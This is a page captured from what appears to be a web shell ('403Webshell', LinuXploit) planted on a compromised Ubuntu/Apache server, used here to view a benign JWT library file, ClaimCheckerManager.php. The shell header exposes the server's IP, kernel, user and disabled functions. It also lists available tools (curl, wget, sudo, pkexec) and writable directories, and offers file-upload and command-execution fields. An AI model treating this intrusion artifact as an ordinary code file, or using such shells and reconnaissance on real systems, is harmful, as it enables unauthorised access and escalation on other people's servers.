403Webshell
Server IP : 172.67.191.97  /  Your IP : 104.23.243.197
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/congresofce2/libraries/vendor/web-token/jwt-library/Checker/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/congresofce2/libraries/vendor/web-token/jwt-library/Checker/ClaimCheckerManager.php
<?php

declare(strict_types=1);

namespace Jose\Component\Checker;

use function array_key_exists;
use function count;

/**
 * This manager handles as many claim checkers as needed.
 *
 * @see \Jose\Tests\Component\Checker\ClaimCheckerManagerTest
 */
class ClaimCheckerManager
{
    /**
     * @var ClaimChecker[]
     */
    private array $checkers = [];

    /**
     * @param ClaimChecker[] $checkers
     */
    public function __construct(iterable $checkers)
    {
        foreach ($checkers as $checker) {
            $this->add($checker);
        }
    }

    /**
     * This method returns all checkers handled by this manager.
     *
     * @return ClaimChecker[]
     */
    public function getCheckers(): array
    {
        return $this->checkers;
    }

    /**
     * This method checks all the claims passed as argument. All claims are checked against the claim checkers. If one
     * fails, the InvalidClaimException is thrown.
     *
     * This method returns an array with all checked claims. It is up to the implementor to decide use the claims that
     * have not been checked.
     *
     * @param string[] $mandatoryClaims
     */
    public function check(array $claims, array $mandatoryClaims = []): array
    {
        $this->checkMandatoryClaims($mandatoryClaims, $claims);
        $checkedClaims = [];
        foreach ($this->checkers as $claim => $checker) {
            if (array_key_exists($claim, $claims)) {
                $checker->checkClaim($claims[$claim]);
                $checkedClaims[$claim] = $claims[$claim];
            }
        }

        return $checkedClaims;
    }

    private function add(ClaimChecker $checker): void
    {
        $claim = $checker->supportedClaim();
        $this->checkers[$claim] = $checker;
    }

    /**
     * @param string[] $mandatoryClaims
     */
    private function checkMandatoryClaims(array $mandatoryClaims, array $claims): void
    {
        if (count($mandatoryClaims) === 0) {
            return;
        }
        $diff = array_keys(array_diff_key(array_flip($mandatoryClaims), $claims));
        if (count($diff) !== 0) {
            throw new MissingMandatoryClaimException(sprintf(
                'The following claims are mandatory: %s.',
                implode(', ', $diff)
            ), $diff);
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit